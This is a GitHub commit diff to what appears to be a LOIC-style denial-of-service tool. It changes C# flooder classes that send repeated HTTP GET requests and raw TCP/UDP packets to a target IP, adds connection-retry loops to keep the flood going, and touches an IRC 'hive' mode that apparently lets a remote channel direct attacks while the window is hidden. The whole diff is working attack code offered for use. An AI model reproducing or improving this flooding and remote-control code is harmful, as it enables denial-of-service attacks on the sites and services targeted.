Skip to content
Browse files

More coding improvements

  • Loading branch information...
1 parent 79c3f3b commit 54348c9d7e91b4971bf0965cab6900df81566453 @NewEraCracker NewEraCracker committed
Showing with 32 additions and 26 deletions.
  1. +16 −14 HTTPFlooder.cs
  2. +9 −5 XXPFlooder.cs
  3. +7 −7 frmMain.cs
View
30 HTTPFlooder.cs
@@ -67,15 +67,15 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
- byte[] buf;
- if (random == true)
- {
- buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, Host));
- }
- else
- {
- buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host));
- }
+ byte[] buf;
+ if (random == true)
+ {
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, Host));
+ }
+ else
+ {
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host));
+ }
var RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
@@ -84,10 +84,12 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
byte[] recvBuf = new byte[64];
var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
State = ReqState.Connecting; // SET STATE TO CONNECTING //
-
- try { socket.Connect(RHost); }
- catch { continue; }
-
+ while (IsFlooding)
+ {
+ try { socket.Connect(RHost); }
+ catch { continue; }
+ break;
+ }
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
socket.Send(buf, SocketFlags.None);
@@ -107,4 +109,4 @@ private static long Tick()
return DateTime.Now.Ticks / 10000;
}
}
-}
+}
View
14 XXPFlooder.cs
@@ -56,13 +56,17 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.NoDelay = true;
- try { socket.Connect(RHost); }
- catch { continue; }
-
+ while (IsFlooding) //Connect
+ {
+ try { socket.Connect(RHost); }
+ catch { continue; }
+ break;
+ }
+
socket.Blocking = Resp;
try
{
- while (IsFlooding)
+ while (IsFlooding) //Flood
{
FloodCount++;
socket.Send(buf);
@@ -77,7 +81,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
socket.Blocking = Resp;
try
{
- while (IsFlooding)
+ while (IsFlooding) //Flood
{
FloodCount++;
socket.SendTo(buf, SocketFlags.None, RHost);
View
14 frmMain.cs
@@ -29,11 +29,11 @@ public partial class frmMain : Form
public frmMain(bool hive, bool hide, string ircserver, string ircport, string ircchannel)
{
InitializeComponent();
- /* IRC */
+ //IRC
if (ircserver != "") {txtIRCserver.Text = ircserver;}
if (ircport != "") {txtIRCport.Text = ircport;}
if (ircchannel != "") {txtIRCchannel.Text = ircchannel;}
- /* Lets try this! */
+ //Lets try this!
if ( hide )
{
this.WindowState = FormWindowState.Minimized;
@@ -59,7 +59,7 @@ private void Attack(bool toggle, bool on, bool silent)
if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
throw new Exception("Select a target.");
- try //fix sHost
+ try //Fix sHost
{
if ( sHost.Length > 0 )
{
@@ -176,7 +176,7 @@ private void DoHive(bool enabled)
{
try
{
- // Is everything ok?
+ //Is everything ok?
if ((txtIRCserver.Text == "" || txtIRCchannel.Text == "") && enabled)
{
disableHive.Checked = true;
@@ -193,12 +193,12 @@ private void DoHive(bool enabled)
return;
}
- // We are starting connection. Disable input in IRC boxes.
+ //We are starting connection. Disable input in IRC boxes.
txtIRCserver.Enabled = !enabled;
txtIRCport.Enabled = !enabled;
txtIRCchannel.Enabled = !enabled;
- // Lets try this!
+ //Lets try this!
ircenabled = enabled;
if (enabled)
{
@@ -532,7 +532,7 @@ void OnReadLine(object sender, ReadLineEventArgs e)
string server = e.Line.Split(' ')[2];
irc.WriteLine("PONG " + server, Priority.Critical);
}
- else if (command == "376") // end of motd
+ else if (command == "376") //end of motd
{
if (OpList != null) OpList.Clear();
irc.RfcJoin(channel);

0 comments on commit 54348c9

Please sign in to comment.
Something went wrong with that request. Please try again.